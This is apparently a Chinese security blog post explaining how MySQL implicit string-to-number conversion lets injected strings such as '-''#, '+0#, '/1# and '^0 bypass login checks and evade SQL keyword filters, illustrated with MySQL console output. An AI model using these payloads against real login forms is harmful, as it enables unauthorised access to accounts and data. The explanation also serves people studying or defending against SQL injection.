使用MySQL字符串运算实施精巧化SQL注入攻击
说明
介绍前先来看这样一个场景,有如下表结构:
mysql> desc admin;
+----------+--------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+----------------+
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
| name | char(32) | NO | UNI | NULL | |
| password | char(32) | NO | UNI | NULL | |
+----------+--------------+------+-----+---------+-----------------+
3 rows in set (0.00 sec)
执行select * from admin;,成功返回所有记录内容。
+----+--------+----------------------------------+
| id | name | password |
+----+--------+----------------------------------+
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
| 4 | n00b | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set (0.00 sec)
执行:
select * from admin where name='';
没有匹配到任何记录。
mysql> select * from admin where name = '';
Empty set (0.00 sec)
那么我们来执行:
select * from admin where name = ''-'';
+----+--------+----------------------------------+
| id | name | password |
+----+--------+----------------------------------+
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
| 4 | n00b | ff80e8508d39047460921792273533a4 |
+----+--------+----------------------------------+
3 rows in set, 3 warnings (0.00 sec)
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
mysql> show warnings;
+---------+------+------------------------------------------
| Level | Code | Message
+---------+------+------------------------------------------
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
+---------+------+------------------------------------------
3 rows in set (0.00 sec)
提示截断了错误的DOUBLE值'admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。我们单独执行select ''-'';看下结果。
mysql> select ''-'';
+-------+
| ''-'' |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
+-----------------------------------------------------+
| CAST((select name from admin limit 1,1) as DECIMAL) |
+-----------------------------------------------------+
| 0 |
+-----------------------------------------------------+
1 row in set, 1 warning (0.00 sec)
因此where语句构成了相等的条件,where 0=''='',记录被返回。
SQL注入场景:
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为' or ''=' 这样的逻辑和绕过方式很常见,这里不再具体解释了。
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
仅仅在name子段输入'-''#,password留空,即可绕过登录验证。
除了''-'',其他运算符''+'',''*'',''^''都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
mysql> select ''/1;
+------+
| ''/1 |
+------+
| 0 |
+------+
1 row in set (0.00 sec)
类似的''+0,''-0,''*0,''^0均可。那么刚才的注入可以使用以下的精简payload同样可以绕过登录认证:
'+0#,'/1#,'^0,'-0#等等。
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
(END)
往期精彩
感兴趣的可以点个关注!!!
乌云白帽子